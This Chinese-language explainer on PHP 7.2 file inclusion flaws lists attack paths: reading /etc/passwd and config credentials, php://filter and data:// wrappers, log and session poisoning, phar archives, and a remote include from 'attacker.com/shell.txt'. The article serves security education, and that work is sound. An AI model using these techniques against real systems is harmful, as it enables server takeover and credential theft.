PHP文件包含漏洞危害远超文件读取,本质是动态代码加载失控,可导致敏感信息泄露、LFI升级RCE、RFI远程执行及多漏洞组合攻击。

PHP 7.2 中的文件包含漏洞(主要指 include、require 等函数参数被用户可控)一旦存在,危害远不止“读个文件”那么简单。它本质是动态代码加载机制失控,攻击者能决定“哪段内容被当作 PHP 代码执行”,从而引发一系列连锁风险。
1. 敏感文件读取与信息泄露
这是最基础、最常见的危害。攻击者可直接读取:
- 系统配置文件(如
/etc/passwd、/etc/shadow,需权限配合) - Web 应用配置(数据库账号密码、密钥、API Token)
- 源码文件(
.php文件会被解析执行,但若用php://filter编码读取,就能绕过执行、原样看到明文源码) - 日志文件(如 Apache 的
access.log或error.log,为后续利用埋点)
2. 本地文件包含升级为远程代码执行(LFI → RCE)
PHP 7.2 仍完整支持各类流包装器(Stream Wrapper),攻击者可借助以下路径实现 getshell:
- 利用
php://filter/read=convert.base64-encode/resource=xxx.php读取源码并解码,获取关键逻辑或硬编码凭证 - 通过
php://input或data://text/plain,直接传入并执行 PHP 代码(需allow_url_include=On) - 将恶意 payload 注入访问日志、错误日志或 session 文件,再用文件包含触发解析执行
- 构造恶意
phar://或zip://压缩包,配合反序列化或文件操作函数触发利用
3. 远程文件包含(RFI)在特定配置下仍可行
虽然 PHP 7.2 默认关闭 allow_url_include,但如果目标环境手动开启该选项(常见于老旧运维配置或某些 CMS 安装脚本),攻击者即可:
- 直接
include('http://attacker.com/shell.txt')加载并执行远程恶意脚本 - 结合
allow_url_fopen=On(默认开启)+allow_url_include=On,实现稳定 RCE
4. 配合其他漏洞扩大攻击面
文件包含本身常作为“跳板”,与其他漏洞形成组合拳:
- 与文件上传漏洞结合:上传带 PHP 代码的图片马 → 用
include包含该图片 → 执行代码 - 与 Session 可控结合:覆盖
session.save_path下的 session 文件内容 → 包含 session 文件触发反序列化或代码执行 - 与临时文件竞争条件结合:在
/tmp写入恶意内容并快速包含,绕过部分白名单过滤
PHP 7.2 并未移除这些机制,反而因更严格的错误提示(如报错中暴露真实路径)可能加剧信息泄露。是否造成实际危害,取决于代码写法、服务器配置(尤其是 allow_url_include、open_basedir、disable_functions)以及是否有配套的防御措施。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











